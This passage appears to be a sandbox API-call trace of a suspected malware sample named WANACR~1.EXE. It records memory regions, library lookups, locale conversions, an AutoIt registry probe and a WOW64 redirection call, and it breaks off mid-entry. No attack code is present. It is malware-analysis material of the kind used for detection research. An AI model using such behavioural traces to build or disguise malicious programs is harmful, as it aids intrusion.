"\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2544 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2545 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2546 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2547 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2548 start_va = 0x32b12f0000 end_va = 0x32b12f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b12f0000" filename = "" Region: id = 2549 start_va = 0x32b2f80000 end_va = 0x32b3197fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b2f80000" filename = "" Thread: id = 144 os_tid = 0x37c [0052.495] GetStartupInfoW (in: lpStartupInfo=0x32af67fe70 | out: lpStartupInfo=0x32af67fe70*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0052.495] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0052.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0052.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0052.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0052.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0052.496] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0052.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0052.498] GetCurrentThreadId () returned 0x37c [0052.498] GetStartupInfoW (in: lpStartupInfo=0x32af67fe60 | out: lpStartupInfo=0x32af67fe60*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0x32af6d5510)) [0052.498] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.498] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.498] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.498] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0052.498] GetEnvironmentStringsW () returned 0x32af6d64a0* [0052.498] FreeEnvironmentStringsW (penv=0x32af6d64a0) returned 1 [0052.498] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0052.499] GetLastError () returned 0x0 [0052.499] SetLastError (dwErrCode=0x0) [0052.499] GetLastError () returned 0x0 [0052.499] SetLastError (dwErrCode=0x0) [0052.499] GetLastError () returned 0x0 [0052.499] SetLastError (dwErrCode=0x0) [0052.499] GetACP () returned 0x4e4 [0052.499] GetLastError () returned 0x0 [0052.499] SetLastError (dwErrCode=0x0) [0052.499] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.499] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x32af67fdd0 | out: lpCPInfo=0x32af67fdd0) returned 1 [0052.499] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x32af67f870 | out: lpCPInfo=0x32af67f870) returned 1 [0052.499] GetLastError () returned 0x0 [0052.499] SetLastError (dwErrCode=0x0) [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x32af67f890, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x32af67f890, cbMultiByte=256, lpWideCharStr=0x32af67f570, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ孳崂裏") returned 256 [0052.499] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ孳崂裏", cchSrc=256, lpCharType=0x32af67fb90 | out: lpCharType=0x32af67fb90) returned 1 [0052.499] GetLastError () returned 0x0 [0052.500] SetLastError (dwErrCode=0x0) [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x32af67f890, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x32af67f890, cbMultiByte=256, lpWideCharStr=0x32af67f560, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0052.500] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.500] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x32af67f350, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0052.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x32af67f990, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0052.500] GetLastError () returned 0x0 [0052.500] SetLastError (dwErrCode=0x0) [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x32af67f890, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x32af67f890, cbMultiByte=256, lpWideCharStr=0x32af67f560, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0052.500] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.500] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x32af67f350, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0052.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x32af67fa90, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0052.500] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0052.500] GetVersionExW (in: lpVersionInformation=0x32af67fcf0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0x32af67fcf0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0052.500] GetCurrentProcess () returned 0xffffffffffffffff [0052.500] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x32af67fe38 | out: Wow64Process=0x32af67fe38) returned 1 [0052.500] GetSystemInfo (in: lpSystemInfo=0x32af67fcb8 | out: lpSystemInfo=0x32af67fcb8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0052.501] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0052.501] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0052.501] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0052.501] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0052.501] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0052.501] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0052.501] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0052.502] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.502] OleInitialize (pvReserved=0x0) returned 0x0 [0052.525] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0x32af67fdd0 | out: phkResult=0x32af67fdd0*=0x14c) returned 0x0 [0052.525] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0x32af67fe30, lpcbData=0x32af67fe00*=0x8 | out: lpType=0x0, lpData=0x32af67fe30*=0x30, lpcbData=0x32af67fe00*=0x4) returned 0x0 [0052.525] RegCloseKey (hKey=0x14c) returned 0x0 [0052.530] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32af65fda0, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0052.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x32af64fd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0052.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x32af65fda0, lpFilePart=0x32af66fdb0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x32af66fdb0*="WANACR~1.EXE") returned 0x26 [0052.531] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0x32af67fe60 | out: phkResult=0x32af67fe60*=0x0) returned 0x2 [0052.533] IsThemeActive () returned 0x1 [0052.533] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x32af67fe90, fWinIni=0x0 | out: pvParam=0x32af67fe90) returned 1 [0052.533] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0052.533] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x32af65fe60 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0052.533] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32af64fcc0, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0052.534] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x32af63fc70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0052.534] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0052.534] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0052.534] Wow64DisableWow64FsRedirection (in: OldValue=0x32af65fcd0 | out: OldValue=0x32af65fcd0*=0x0) returned 0 [0052.534] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0052.535] GetCurrentPackageId () returned 0x3d54 [0052.535] CreateFileW 